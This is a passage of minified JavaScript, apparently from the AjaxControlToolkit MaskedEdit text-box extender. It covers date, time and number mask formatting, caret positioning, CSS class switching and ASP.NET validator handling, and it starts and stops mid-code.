if(b._LogicMask.substring(a,a+1)==b._LogicPrompt&&"123456789".indexOf(b._LogicTextMask.substring(a,a+1))!=-1)f=true;e.set_Value(ValueText);return ValueText},AutoFormatTime:function(){var m=true,j=false,c=" ",d="",a=this,v=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element());ValueText=v.get_Value();var b=a._AutoCompleteValue;if(b.indexOf(a.get_CultureTimePlaceholder())==-1)b=d;if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){if(ValueText.split(c).length==3)ValueText=ValueText.split(c)[1]+c+ValueText.split(c)[2];else ValueText=ValueText.split(c)[1];if(b!=d){if(b.indexOf(a.get_CultureDatePlaceholder())==-1)b=c+b;if(b.split(c).length==3)b=b.split(c)[1]+c+b.split(c)[2];else b=b.split(c)[1]}}var s=new Date,e=s.getHours().toString();if(e.length<2)e="0"+e;if(b!=d)e=b.substring(0,2);var o=j,n=j,p=d,f=d,l=d;if(a.get_CultureAMPMPlaceholder()!=d){var t=a.get_CultureAMPMPlaceholder().split(a._AMPMPlaceholderSeparator);p=t[0];f=t[1];if(b==d){var l=p;if(e>12){e=(parseInt(e,10)-12).toString();if(e.length<2)e="0"+e;l=f}}else{l=p;if(b.indexOf(f)!=-1)l=f}o=m;if(ValueText.indexOf(f)!=-1&&f!=d)n=m;if(!a._AcceptAmPm){l=d;n=j;o=j}else{var u=m;if(ValueText.substring(0,1)!=a._PromptChar||ValueText.substring(1,2)!=a._PromptChar)u=j;if(u&&l!=d){o=m;n=j;if(f==l)n=m}}}var k=s.getMinutes().toString();if(k.length<2)k="0"+k;if(b!=d)k=b.substring(3,5);var r="00",g,h;if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){g=ValueText.substring(0,2);g=a._AdjustTime(g,e);h=ValueText.substring(3,5);h=a._AdjustTime(h,k)}else{g=ValueText.substring(a._LogicFirstPos,a._LogicFirstPos+2);g=a._AdjustTime(g,e);h=ValueText.substring(a._LogicFirstPos+3,a._LogicFirstPos+5);h=a._AdjustTime(h,k)}var q=a._maskvalid;if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)q=q.split(c)[1];if(q=="99:99:99"){if(b!=d)r=b.substring(6);var i;if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){i=ValueText.substring(6,8);i=a._AdjustTime(i,r)}else{i=ValueText.substring(a._LogicFirstPos+6,a._LogicFirstPos+8);i=a._AdjustTime(i,r)}ValueText=g+a.get_CultureTimePlaceholder()+h+a.get_CultureTimePlaceholder()+i}else ValueText=g+a.get_CultureTimePlaceholder()+h;if(n)ValueText+=c+f;else if(o)ValueText+=c+p;a._MaskType!=AjaxControlToolkit.MaskedEditType.DateTime&&a.loadValue(ValueText,a._LogicFirstPos);return ValueText},AutoFormatDateTime:function(){var a=this,b=a.AutoFormatDate(),c=a.AutoFormatTime();a.loadValue(b+" "+c,a._LogicFirstPos);return b+" "+c},AutoFormatDate:function(){var l="0",f="",a=this,i=a._GetDateElementText("D").replace(new RegExp("(\\"+a._PromptChar+")","g"),f)+f,j=a._GetDateElementText("M").replace(new RegExp("(\\"+a._PromptChar+")","g"),f)+f,k=a._GetDateElementText("Y").replace(new RegExp("(\\"+a._PromptChar+")","g"),f)+f,n=a._maskvalid.indexOf("9999")!=-1?true:false,g=a._AutoCompleteValue;if(g.indexOf(a.get_CultureDatePlaceholder())==-1)g=f;var d,e,c;if(g==f){var m=new Date;d=m.getUTCDate().toString();if(d.length<2)d=l+d;e=(m.getUTCMonth()+1).toString();if(e.length<2)e=l+e;if(n)c=m.getUTCFullYear().toString();else c=c.substring(2)}else{var b;if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime){if(g.indexOf(a.get_CultureTimePlaceholder())==-1)g=g+" ";var o=g.split(" ")[0];b=o.split(a.get_CultureDatePlaceholder())}else b=g.split(a.get_CultureDatePlaceholder());if(a.get_CultureDateFormat()=="DMY"){d=b[0];e=b[1];c=b[2]}else if(a.get_CultureDateFormat()=="MDY"){d=b[1];e=b[0];c=b[2]}else if(a.get_CultureDateFormat()=="DYM"){d=b[0];e=b[2];c=b[1]}else if(a.get_CultureDateFormat()=="MYD"){d=b[2];e=b[0];c=b[1]}else if(a.get_CultureDateFormat()=="YMD"){d=b[2];e=b[1];c=b[0]}else if(a.get_CultureDateFormat()=="YDM"){d=b[1];e=b[2];c=b[0]}if(d.length<2)d=l+d;if(e.length<2)e=l+e;if(n)while(c.length<4)c=l+c;else while(c.length<2)c=l+c}if(i==f)i=d;if(j==f)j=e;if(k==f)k=c;var h;if(a.get_CultureDateFormat()=="DMY")h=i+a.get_CultureDatePlaceholder()+j+a._CultureDatePlaceholder+k;else if(a.get_CultureDateFormat()=="MDY")h=j+a.get_CultureDatePlaceholder()+i+a._CultureDatePlaceholder+k;else if(a.get_CultureDateFormat()=="DYM")h=i+a.get_CultureDatePlaceholder()+k+a._CultureDatePlaceholder+j;else if(a.get_CultureDateFormat()=="MYD")h=j+a.get_CultureDatePlaceholder()+k+a._CultureDatePlaceholder+i;else if(a.get_CultureDateFormat()=="YMD")h=k+a.get_CultureDatePlaceholder()+j+a._CultureDatePlaceholder+i;else if(a.get_CultureDateFormat()=="YDM")h=k+a.get_CultureDatePlaceholder()+i+a._CultureDatePlaceholder+j;a._MaskType!=AjaxControlToolkit.MaskedEditType.DateTime&&a.loadValue(h,a._LogicFirstPos);return h},ConvFmtNumber:function(a){var b=this;if(b._maskvalid.split(b.get_CultureDecimalPlaceholder()).length==2){if(a.substring(a.length-1,a.length)==b.get_CultureDecimalPlaceholder())a=a.substring(0,a.length-1);if(a.indexOf(b.get_CultureDecimalPlaceholder())==-1){a+=b.get_CultureDecimalPlaceholder();for(var d=b._maskvalid,c=0;c<d.length;c++)a+="0";return a}}return a},ConvFmtTime:function(d,r){var i="(\\",a="",b=this,q=0,o=false,p=false,g=a,h=a;if(b.get_CultureAMPMPlaceholder()!=a){g=b.get_CultureAMPMPlaceholder().split(b._AMPMPlaceholderSeparator)[0];h=b.get_CultureAMPMPlaceholder().split(b._AMPMPlaceholderSeparator)[1]}if(r){var n=a,m=a;if(b._CultureAMPMPlaceholder!=a){n=b._CultureAMPMPlaceholder.split(b._AMPMPlaceholderSeparator)[0];m=b._CultureAMPMPlaceholder.split(b._AMPMPlaceholderSeparator)[1]}if(b.get_UserTimeFormat()==AjaxControlToolkit.MaskedEditUserTimeFormat.TwentyFourHour){d=d.replace(new RegExp(i+n+")","g"),a);if(d.indexOf(m)!=-1)q=12;d=d.replace(new RegExp(i+m+")","g"),a)}}if(d.indexOf(g)!=-1&&g!=a)o=true;else if(d.indexOf(h)!=-1&&h!=a)p=true;if(g!=a)d=d.replace(new RegExp(i+g+")","g"),a);if(h!=a)d=d.replace(new RegExp(i+h+")","g"),a);d=d.replace(new RegExp(i+" )","g"),a);var c=d.split(b.get_CultureTimePlaceholder()),e=b._maskvalid;if(b._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)e=e.split(" ")[1];e=e.split(":");if(parseInt(c.length,10)<2||parseInt(c.length,10)>3)return a;var f=parseInt(c[0],10)+q;f=f.toString();if(f.length<e[0].length)while(f.length<e[0].length)f="0"+f;c[0]=f;var k=parseInt(c[1],10)+a;if(k.length<e[1].length)while(k.length<e[1].length)k="0"+k;c[1]=k;var j=a;if(parseInt(c.length,10)==3){var l=parseInt(c[2],10)+a;if(l.length<e[2].length)while(l.length<e[2].length)l="0"+l;c[2]=l;j=c[0]+b.get_CultureTimePlaceholder()+c[1]+b.get_CultureTimePlaceholder()+c[2]}else j=c[0]+b.get_CultureTimePlaceholder()+c[1];if(o)j+=" "+g;else if(p)j+=" "+h;return j},ConvFmtDateTime:function(c,e){var a=" ",d=c.split(a)[0],b=c.split(a)[1];if(c.split(a).length==3)b+=a+c.split(a)[2];d=this.ConvFmtDate(d,e);b=this.ConvFmtTime(b,e);return d+a+b},ConvFmtDate:function(j,k){var e="M",d="D",a=this,h,b;if(k){h=j.split(a.get_CultureDatePlaceholder());b=j.split(a.get_CultureDatePlaceholder());if(a.get_UserDateFormat()!=AjaxControlToolkit.MaskedEditUserDateFormat.None){b[a.get_CultureDateFormat().indexOf(d)]=h[a._CultureDateFormat.indexOf(d)];b[a.get_CultureDateFormat().indexOf(e)]=h[a._CultureDateFormat.indexOf(e)];b[a.get_CultureDateFormat().indexOf("Y")]=h[a._CultureDateFormat.indexOf("Y")]}}else b=j.split(a.get_CultureDatePlaceholder());var c=a._maskvalid;if(a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)c=c.split(" ")[0];c=c.split("/");if(parseInt(b.length,10)!=3)return "";var f=parseInt(b[a.get_CultureDateFormat().indexOf(d)],10)+"";if(f.length<c[a.get_CultureDateFormat().indexOf(d)].length)while(f.length<c[a.get_CultureDateFormat().indexOf(d)].length)f="0"+f;b[a.get_CultureDateFormat().indexOf(d)]=f;var g=parseInt(b[a.get_CultureDateFormat().indexOf(e)],10)+"";if(g.length<c[a.get_CultureDateFormat().indexOf(e)].length)while(g.length<c[a.get_CultureDateFormat().indexOf(e)].length)g="0"+g;b[a.get_CultureDateFormat().indexOf(e)]=g;var i=parseInt(b[a.get_CultureDateFormat().indexOf("Y")],10)+"";while(i.length<c[a.get_CultureDateFormat().indexOf("Y")].length)i="0"+i;b[a.get_CultureDateFormat().indexOf("Y")]=i;return b[0]+a.get_CultureDatePlaceholder()+b[1]+a._CultureDatePlaceholder+b[2]},AddCssClassMaskedEdit:function(c){var a=this,b=a.get_element();Sys.UI.DomElement.removeCssClass(b,a._OnBlurCssNegative);Sys.UI.DomElement.removeCssClass(b,a._OnFocusCssClass);Sys.UI.DomElement.removeCssClass(b,a._OnFocusCssNegative);Sys.UI.DomElement.removeCssClass(b,a._OnInvalidCssClass);c!=""&&Sys.UI.DomElement.addCssClass(b,c)},_SetCancelEvent:function(a){var b="undefined";if(typeof a.returnValue!==b)a.returnValue=false;if(typeof a.cancelBubble!==b)a.cancelBubble=true;typeof a.preventDefault!==b&&a.preventDefault();typeof a.stopPropagation!==b&&a.stopPropagation()},_CaptureServerValidators:function(){var c="undefined",e=true,b=this._ExternalMessageError;if(typeof Page_Validators!=c){var a=null,d=true;for(i=0;i<Page_Validators.length;i++){a=Page_Validators[i];if(typeof a.enabled==c||a.enabled!=false)if(a.TargetValidator==this.get_element().id)if(!a.isvalid){if(d){d=false;b=""}if(typeof a.errormessage=="string"){if(b!="")b+=", ";b+=a.errormessage}e=false}}}this._ExternalMessageError=b;return e},_CaptureClientsValidators:function(){var b="string",a="undefined",ret=true,msg="";this._ExternalMessageError=msg;if(typeof Page_Validators!=a){var ctrval=null;for(i=0;i<Page_Validators.length;i++){ctrval=Page_Validators[i];if(typeof ctrval.enabled==a||ctrval.enabled!=false)if(ctrval.TargetValidator==this.get_element().id)if(typeof ctrval.evaluationfunction=="function"){var crtret=ctrval.evaluationfunction(ctrval);if(!crtret){ret=false;if(typeof ctrval.errormessage==b){if(msg!="")msg+=", ";msg+=ctrval.errormessage}}}else if(typeof ctrval.evaluationfunction==b){var crtret;eval("crtret = "+ctrval.evaluationfunction+"("+ctrval.id+")");if(!crtret){ret=false;if(typeof ctrval.errormessage==b){if(msg!="")msg+=", ";msg+=ctrval.errormessage}}}}}this._ExternalMessageError=msg;return ret},ShowTooltipMessage:function(d){var b=this;if(typeof Page_Validators=="undefined")return;var e="";if(!d){e=b._CurrentMessageError;b._CurrentMessageError=""}for(var c=0,a=null,c=0;c<Page_Validators.length;c++){a=Page_Validators[c];if(a.TargetValidator==b.get_element().id&&a.IsMaskedEdit=="true"){if(!d){a.innerHTML=e;if(typeof a.display=="string"){if(a.display=="None")return;if(a.display=="Dynamic"){a.style.display=a.isvalid?"none":"inline";return}}return}b._CurrentMessageError=a.innerHTML;a.innerHTML=a.TooltipMessage;if(typeof a.display=="string"){if(a.display=="None")return;if(a.display=="Dynamic"){a.style.display="inline";return}}a.style.visibility="visible";return}}},_insertContent:function(e,b){var c=this,d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(c.get_element()),a=d.get_Value();a=a.substring(0,b)+e+a.substring(b+1);c._LogicTextMask=c._LogicTextMask.substring(0,b)+e+c._LogicTextMask.substring(b+1);d.set_Value(a)},_insertContentRight:function(j){var a=this,h=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()),b=h.get_Value();curpos=a._getLastEmptyPosition();if(curpos<0)return;var d=b.substring(curpos+1),f=a._LogicTextMask.substring(curpos+1);b=b.substring(0,curpos)+a._PromptChar;a._LogicTextMask=a._LogicTextMask.substring(0,curpos)+a._LogicPrompt;if(a._LogicLastInt!=-1&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft){var c=d.split(a.get_CultureDecimalPlaceholder()),g=f.split(a.get_CultureDecimalPlaceholder());for(i=0;i<parseInt(c[0].length,10);i++)if(a._isValidMaskedEditPosition(curpos+1+i)){b+=a._PromptChar;a._LogicTextMask+=a._LogicPrompt}else{b+=c[0].substring(i,i+1);a._LogicTextMask+=g[0].substring(i,i+1)}if(c.length=2){b+=a.get_CultureDecimalPlaceholder()+c[1];a._LogicTextMask+=a.get_CultureDecimalPlaceholder()+g[1]}posaux=a._getNextPosition(curpos);for(i=0;i<parseInt(c[0].length,10);i++)if(a._isValidMaskedEditPosition(curpos+1+i)&&g[0].substring(i,i+1)!=a._LogicPrompt){b=b.substring(0,posaux)+c[0].substring(i,i+1)+b.substring(posaux+1);a._LogicTextMask=a._LogicTextMask.substring(0,posaux)+g[0].substring(i,i+1)+a._LogicTextMask.substring(posaux+1);posaux=a._getNextPosition(posaux+1)}}else{for(i=0;i<parseInt(d.length,10);i++)if(a._isValidMaskedEditPosition(curpos+1+i)){b+=a._PromptChar;a._LogicTextMask+=a._LogicPrompt}else{b+=d.substring(i,i+1);a._LogicTextMask+=f.substring(i,i+1)}posaux=a._getNextPosition(curpos);for(i=0;i<parseInt(d.length,10);i++)if(a._isValidMaskedEditPosition(curpos+1+i)&&f.substring(i,i+1)!=a._LogicPrompt){b=b.substring(0,posaux)+d.substring(i,i+1)+b.substring(posaux+1);a._LogicTextMask=a._LogicTextMask.substring(0,posaux)+f.substring(i,i+1)+a._LogicTextMask.substring(posaux+1);posaux=a._getNextPosition(posaux+1)}}var e=0;if(a._LogicLastInt!=-1&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)e=a._LogicLastPos-a._LogicLastInt+1;b=b.substring(0,a._LogicLastPos-e)+j+b.substring(a._LogicLastPos-e+1);a._LogicTextMask=a._LogicTextMask.substring(0,a._LogicLastPos-e)+j+a._LogicTextMask.substring(a._LogicLastPos-e+1);h.set_Value(b)},InsertAMPM:function(f){var a=this,e=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()),c=e.get_Value(),d=a.get_CultureAMPMPlaceholder().split(a._AMPMPlaceholderSeparator),b="";if(d.length==2){if(f.toUpperCase()==a.get_CultureFirstLetterAM().toUpperCase())b=d[0];else if(f.toUpperCase()==a.get_CultureFirstLetterPM().toUpperCase())b=d[1];a._LogicSymbol=b}c=c.substring(0,a._LogicLastPos+2)+b+c.substring(a._LogicLastPos+2+b.length);e.set_Value(c)},InsertSignal:function(c){var a=this,d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(a.get_element()),b=d.get_Value();if(c=="-"&&a._LogicSymbol=="-")c="+";if(c=="+"){c=" ";a._LogicSymbol="";if(!a._InLostfocus&&a._OnFocusCssClass!="")a.AddCssClassMaskedEdit(a._OnFocusCssClass);else!a._InLostfocus&&a.AddCssClassMaskedEdit("")}else{a._LogicSymbol="-";!a._InLostfocus&&a._OnFocusCssNegative!=""&&a.AddCssClassMaskedEdit(a._OnFocusCssNegative)}if(a._AcceptNegative==AjaxControlToolkit.MaskedEditShowSymbol.Left)b=b.substring(0,a._LogicFirstPos-1)+c+b.substring(a._LogicFirstPos);else if(a._AcceptNegative==AjaxControlToolkit.MaskedEditShowSymbol.Right)b=b.substring(0,a._LogicLastPos+1)+c+b.substring(a._LogicLastPos+2);d.set_Value(b)},setSelectionRange:function(b,d){var c="character";input=this.get_element();if(input.setSelectionRange)input.setSelectionRange(b,d);else if(input.createTextRange){var a=input.createTextRange();a.collapse(true);a.moveEnd(c,d);a.moveStart(c,b);a.select()}},_getLastEmptyPosition:function(){var a=this,b=a._LogicLastPos;if(a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft&&a._LogicLastInt!=-1){var c=a._getCurrentPosition();if(c<=a._LogicLastInt)b=a._LogicLastInt}while(b>=0&&a._LogicTextMask.substring(b,b+1)!=a._LogicPrompt)b--;return b},_isValidMaskedEditPosition:function(a){return this._LogicMask.substring(a,a+1)==this._LogicPrompt},_getNextPosition:function(a){var b=this;while(!b._isValidMaskedEditPosition(a)&&a<b._LogicLastPos+1)a++;if(a>b._LogicLastPos+1)a=b._LogicLastPos+1;return a},_getPreviousPosition:function(a){var b=this;while(!b._isValidMaskedEditPosition(a)&&a>b._LogicFirstPos)a--;if(a<b._LogicFirstPos)a=b._LogicFirstPos;return a},_getCurrentPosition:function(){var a=this;begin=0;input=a.get_element();if(input.setSelectionRange)begin=parseInt(input.selectionStart,10);else if(document.selection){sel=document.selection.createRange();if(sel.text!=""){var b="";if(a._DirectSelText=="R")b=sel.text+String.fromCharCode(3);else if(a._DirectSelText=="L")b=String.fromCharCode(3)+sel.text;sel.text=b;a._DirectSelText==""}else{sel.text=String.fromCharCode(3);a._DirectSelText==""}var c=input.createTextRange();c.findText(String.fromCharCode(3));c.select();var d=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(input);begin=d.get_Value().indexOf(String.fromCharCode(3));document.selection.clear()}if(begin>a._LogicLastPos+1)begin=a._LogicLastPos+1;if(begin<a._LogicFirstPos)begin=a._LogicFirstPos;return begin},_processKey:function(a,e){var b=this,d=b._LogicMaskConv,c;if(d.substring(a,a+1)=="9")c=b._charNumbers;else if(d.substring(a,a+1).toUpperCase()=="L")c=b._charLetters+b._charLetters.toLowerCase();else if(d.substring(a,a+1)=="$")c=b._charLetters+b._charLetters.toLowerCase()+" ";else if(d.substring(a,a+1).toUpperCase()=="C")c=b._Filtered;else if(d.substring(a,a+1).toUpperCase()=="A")c=b._charLetters+b._charLetters.toLowerCase()+b._Filtered;else if(d.substring(a,a+1).toUpperCase()=="N")c=b._charNumbers+b._Filtered;else if(d.substring(a,a+1)=="?")c="";else return false;if(c=="")return true;return !c||c.length==0||c.indexOf(e)!=-1},_createMask:function(){var g=false,a=this;a._MaskConv==""&&a._Mask!=""&&a._convertMask();var c=a._MaskConv,b=0,d="",e="",f=g;a._LogicTextMask="";a._QtdValidInput=0;while(b<parseInt(c.length,10)){if(c.substring(b,b+1)==a._charEscape&&f==g)f=true;else if(a._CharsEditMask.indexOf(c.substring(b,b+1))==-1)if(f==true){f=g;d+=c.substring(b,b+1);e+=c.substring(b,b+1);a._LogicTextMask+=a._LogicEscape}else if(a._CharsSpecialMask.indexOf(c.substring(b,b+1))!=-1){a._QtdValidInput++;if(c.substring(b,b+1)=="/"){d+=a.get_CultureDatePlaceholder();e+="/";a._LogicTextMask+=a.get_CultureDatePlaceholder()}else if(c.substring(b,b+1)==":"){d+=a.get_CultureTimePlaceholder();e+=":";a._LogicTextMask+=a.get_CultureTimePlaceholder()}else if(c.substring(b,b+1)==","){d+=a.get_CultureThousandsPlaceholder();e+=".";a._LogicTextMask+=a.get_CultureThousandsPlaceholder()}else if(c.substring(b,b+1)=="."){d+=a.get_CultureDecimalPlaceholder();e+=",";a._LogicTextMask+=a.get_CultureDecimalPlaceholder()}}else{d+=c.substring(b,b+1);e+=c.substring(b,b+1);a._LogicTextMask+=c.substring(b,b+1)}else if(f==true){f=g;d+=c.substring(b,b+1);e+=c.substring(b,b+1);a._LogicTextMask+=a._LogicEscape}else{a._QtdValidInput++;d+=a._PromptChar;e+=c.substring(b,b+1);a._LogicTextMask+=a._LogicPrompt}b++}a._LogicFirstPos=-1;a._LogicLastPos=-1;a._LogicLastInt=-1;a._LogicMask=a._LogicTextMask;for(b=0;b<parseInt(a._LogicMask.length,10);b++){if(a._LogicFirstPos==-1&&a._LogicMask.substring(b,b+1)==a._LogicPrompt)a._LogicFirstPos=b;if(a._LogicMask.substring(b,b+1)==a._LogicPrompt)a._LogicLastPos=b;if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._InputDirection==AjaxControlToolkit.MaskedEditInputDirections.RightToLeft)if(a._LogicMask.substring(b,b+1)==a.get_CultureDecimalPlaceholder())a._LogicLastInt=b}a._maskvalid=e.substring(a._LogicFirstPos,a._LogicLastPos+1);a._EmptyMask=d},_getClearMask:function(){var d="",a=this,b=0,c=d,f=0,e=false;while(b<parseInt(a._LogicTextMask.length,10)){if(f<a._QtdValidInput)if(a._isValidMaskedEditPosition(b)&&a._LogicTextMask.substring(b,b+1)!=a._LogicPrompt){if(c==d&&e){c+="0"+a.get_CultureDecimalPlaceholder();e=false}c+=a._LogicTextMask.substring(b,b+1);f++}else if(a._LogicTextMask.substring(b,b+1)!=a._LogicPrompt&&a._LogicTextMask.substring(b,b+1)!=a._LogicEscape)if(a._LogicTextMask.substring(b,b+1)==a.get_CultureDatePlaceholder()&&(a._MaskType==AjaxControlToolkit.MaskedEditType.Date||a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime))c+=c==d?d:a.get_CultureDatePlaceholder();else if(a._LogicTextMask.substring(b,b+1)==a.get_CultureTimePlaceholder()&&(a._MaskType==AjaxControlToolkit.MaskedEditType.Time||a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime))c+=c==d?d:a.get_CultureTimePlaceholder();else if(a._LogicTextMask.substring(b,b+1)==" "&&a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)c+=c==d?d:" ";else if(a._LogicTextMask.substring(b,b+1)==a.get_CultureThousandsPlaceholder()&&a._MaskType==AjaxControlToolkit.MaskedEditType.Number)c+=c==d?d:a.get_CultureThousandsPlaceholder();else if(a._LogicTextMask.substring(b,b+1)==a.get_CultureDecimalPlaceholder()&&a._MaskType==AjaxControlToolkit.MaskedEditType.Number){c+=c==d?d:a.get_CultureDecimalPlaceholder();if(c==d)e=true}b++}if(a._LogicSymbol!=d&&c!=d)if(a._MaskType==AjaxControlToolkit.MaskedEditType.Time||a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)c+=" "+a._LogicSymbol;else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number)c=a._LogicSymbol+c;return c},_convertMask:function(){var g=" ",b="",a=this;a._MaskConv=b;var c=b,j=b;for(i=0;i<parseInt(a._Mask.length,10);i++)if(a._CharsEditMask.indexOf(a._Mask.substring(i,i+1))!=-1){if(c.length==0){a._MaskConv+=a._Mask.substring(i,i+1);c=b;j=a._Mask.substring(i,i+1)}else if(a._Mask.substring(i,i+1)=="9")c+="9";else if(a._Mask.substring(i,i+1)=="0")c+="0"}else if(a._CharsEditMask.indexOf(a._Mask.substring(i,i+1))==-1&&a._Mask.substring(i,i+1)!=a._DelimitStartDup&&a._Mask.substring(i,i+1)!=a._DelimitEndDup){if(c.length==0){a._MaskConv+=a._Mask.substring(i,i+1);c=b;j=b}else if(a._charNumbers.indexOf(a._Mask.substring(i,i+1))!=-1)c+=a._Mask.substring(i,i+1)}else if(a._Mask.substring(i,i+1)==a._DelimitStartDup&&c==b)c="0";else if(a._Mask.substring(i,i+1)==a._DelimitEndDup&&c!=b){qtddup=parseInt(c,10)-1;if(qtddup>0)for(q=0;q<qtddup;q++)a._MaskConv+=j;c=b;j=b}var f=-1,e=-1,h=false;for(i=0;i<parseInt(a._MaskConv.length,10);i++)if(a._MaskConv.substring(i,i+1)==a._charEscape&&!h)h=true;else if(a._CharsEditMask.indexOf(a._MaskConv.substring(i,i+1))!=-1&&!h){if(f==-1)f=i;e=i}else if(h)h=false;if((a._MaskType==AjaxControlToolkit.MaskedEditType.Time||a._MaskType==AjaxControlToolkit.MaskedEditType.DateTime)&&a._AcceptAmPm){var k=a.get_CultureAMPMPlaceholder().split(a._AMPMPlaceholderSeparator),d=b;if(k.length==2){d=a._charEscape+g;for(i=0;i<parseInt(k[0].length,10);i++)d+=a._charEscape+g}a._MaskConv=a._MaskConv.substring(0,e+1)+d+a._MaskConv.substring(e+1)}else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._DisplayMoney==AjaxControlToolkit.MaskedEditShowSymbol.Left){var d=b;for(i=0;i<parseInt(a.get_CultureCurrencySymbolPlaceholder().length,10);i++)if(a._CharsEditMask.indexOf(a.get_CultureCurrencySymbolPlaceholder().substring(i,i+1))==-1)d+=a.get_CultureCurrencySymbolPlaceholder().substring(i,i+1);else d+=a._charEscape+a.get_CultureCurrencySymbolPlaceholder().substring(i,i+1);d+=a._charEscape+g;a._MaskConv=a._MaskConv.substring(0,f)+d+a._MaskConv.substring(f);f+=d.length;e+=d.length}else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._DisplayMoney==AjaxControlToolkit.MaskedEditShowSymbol.Right){var d=a._charEscape+g;for(i=0;i<parseInt(a.get_CultureCurrencySymbolPlaceholder().length,10);i++)if(a._CharsEditMask.indexOf(a.get_CultureCurrencySymbolPlaceholder().substring(i,i+1))==-1)d+=a.get_CultureCurrencySymbolPlaceholder().substring(i,i+1);else d+=a._charEscape+a.get_CultureCurrencySymbolPlaceholder().substring(i,i+1);a._MaskConv=a._MaskConv.substring(0,e+1)+d+a._MaskConv.substring(e+1)}if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._AcceptNegative==AjaxControlToolkit.MaskedEditShowSymbol.Right)a._MaskConv=a._MaskConv.substring(0,e+1)+a._charEscape+g+a._MaskConv.substring(e+1);else if(a._MaskType==AjaxControlToolkit.MaskedEditType.Number&&a._AcceptNegative==AjaxControlToolkit.MaskedEditShowSymbol.Left)a._MaskConv=a._MaskConv.substring(0,f)+a._charEscape+g+a._MaskConv.substring(f);a._convertMaskNotEscape()},_convertMaskNotEscape:function(){var a=this;a._LogicMaskConv="";var c=a._MaskConv,b=false;for(i=0;i<parseInt(c.length,10);i++)if(c.substring(i,i+1)==a._charEscape)b=true;else if(!b)a._LogicMaskConv+=c.substring(i,i+1);else{a._LogicMaskConv+=a._LogicEscape;b=false}},get_Mask:function(){var a=this;a._MaskConv==""&&a._Mask!=""&&a._convertMask();return a._MaskConv},set_Mask:function(a){this._Mask=a;this.raisePropertyChanged("Mask")},get_Filtered:function(){return this._Filtered},set_Filtered:function(a){this._Filtered=a;this.raisePropertyChanged("Filtered")},get_InputDirection:function(){return this._InputDirection},set_InputDirection:function(a){this._InputDirection=a;this.raisePropertyChanged("InputDirection")},get_PromptCharacter:function(){return this._PromptChar},set_PromptCharacter:function(a){this._PromptChar=a;this.raisePropertyChanged("PromptChar")},get_OnFocusCssClass:function(){return this._OnFocusCssClass},set_OnFocusCssClass:function(a){this._OnFocusCssClass=a;this.raisePropertyChanged("OnFocusCssClass")},get_OnInvalidCssClass:function(){return this._OnInvalidCssClass},set_OnInvalidCssClass:function(a){this._OnInvalidCssClass=a;this.raisePropertyChanged("OnInvalidCssClass")},get_CultureName:function(){return this._CultureName},set_CultureName:function(a){this._CultureName=a;this.raisePropertyChanged("Culture")},get_CultureDatePlaceholder:function(){return this._CultureDatePlaceholder},set_CultureDatePlaceholder:function(a){this._CultureDatePlaceholder=a;this.raisePropertyChanged("CultureDatePlaceholder")},get_CultureTimePlaceholder:function(){return this._CultureTimePlaceholder},set_CultureTimePlaceholder:function(a){this._CultureTimePlaceholder=a;this.raisePropertyChanged("CultureTimePlaceholder")},get_CultureDecimalPlaceholder:function(){return this._CultureDecimalPlaceholder},set_CultureDecimalPlaceholder:function(a){this._CultureDecimalPlaceholder=a;this.raisePropertyChanged("CultureDecimalPlaceholder")},get_CultureThousandsPlaceholder:function(){return this._CultureThousandsPlaceholder},set_CultureThousandsPlaceholder:function(a){this._CultureThousandsPlaceholder=a;this.raisePropertyChanged("CultureThousandsPlaceholder")},get_CultureDateFormat:function(){var a=this._CultureDateFormat;switch(this.get_UserDateFormat()){case AjaxControlToolkit.MaskedEditUserDateFormat.DayMonthYear:a="DMY";break;case AjaxControlToolkit.MaskedEditUserDateFormat.DayYearMonth:a="DYM";break;case AjaxControlToolkit.MaskedEditUserDateFormat.MonthDayYear:a="MDY";break;case AjaxControlToolkit.MaskedEditUserDateFormat.MonthYearDay:a="MYD";break;case AjaxControlToolkit.MaskedEditUserDateFormat.YearDayMonth:a="YDM";break;case AjaxControlToolkit.MaskedEditUserDateFormat.YearMonthDay:a="YMD"}return a},set_CultureDateFormat:function(a){this._CultureDateFormat=a;this.raisePropertyChanged("CultureDateFormat")},get_CultureCurrencySymbolPlaceholder:function(){return this._CultureCurrencySymbolPlaceholder},set_CultureCurrencySymbolPlaceholder:function(a){this._CultureCurrencySymbolPlaceholder=a;this.raisePropertyChanged("CultureCurrencySymbolPlaceholder")},get_CultureAMPMPlaceholder:function(){var b=this,a=b._CultureAMPMPlaceholder;if(a.split(b._AMPMPlaceholderSeparator).length!=2||a==b._AMPMPlaceholderSeparator)a="";if(b.get_UserTimeFormat()==AjaxControlToolkit.MaskedEditUserTimeFormat.TwentyFourHour)a="";return a},set_CultureAMPMPlaceholder:function(a){this._CultureAMPMPlaceholder=a;this.raisePropertyChanged("CultureAMPMPlaceholder")},get_CultureFirstLettersAMPM:function(){if(this.get_CultureAMPMPlaceholder()!=""){var a=this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator);return a[0].substring(0,1)+a[1].substring(0,1)}return ""},get_CultureFirstLetterAM:function(){if(this.get_CultureAMPMPlaceholder()!=""){var 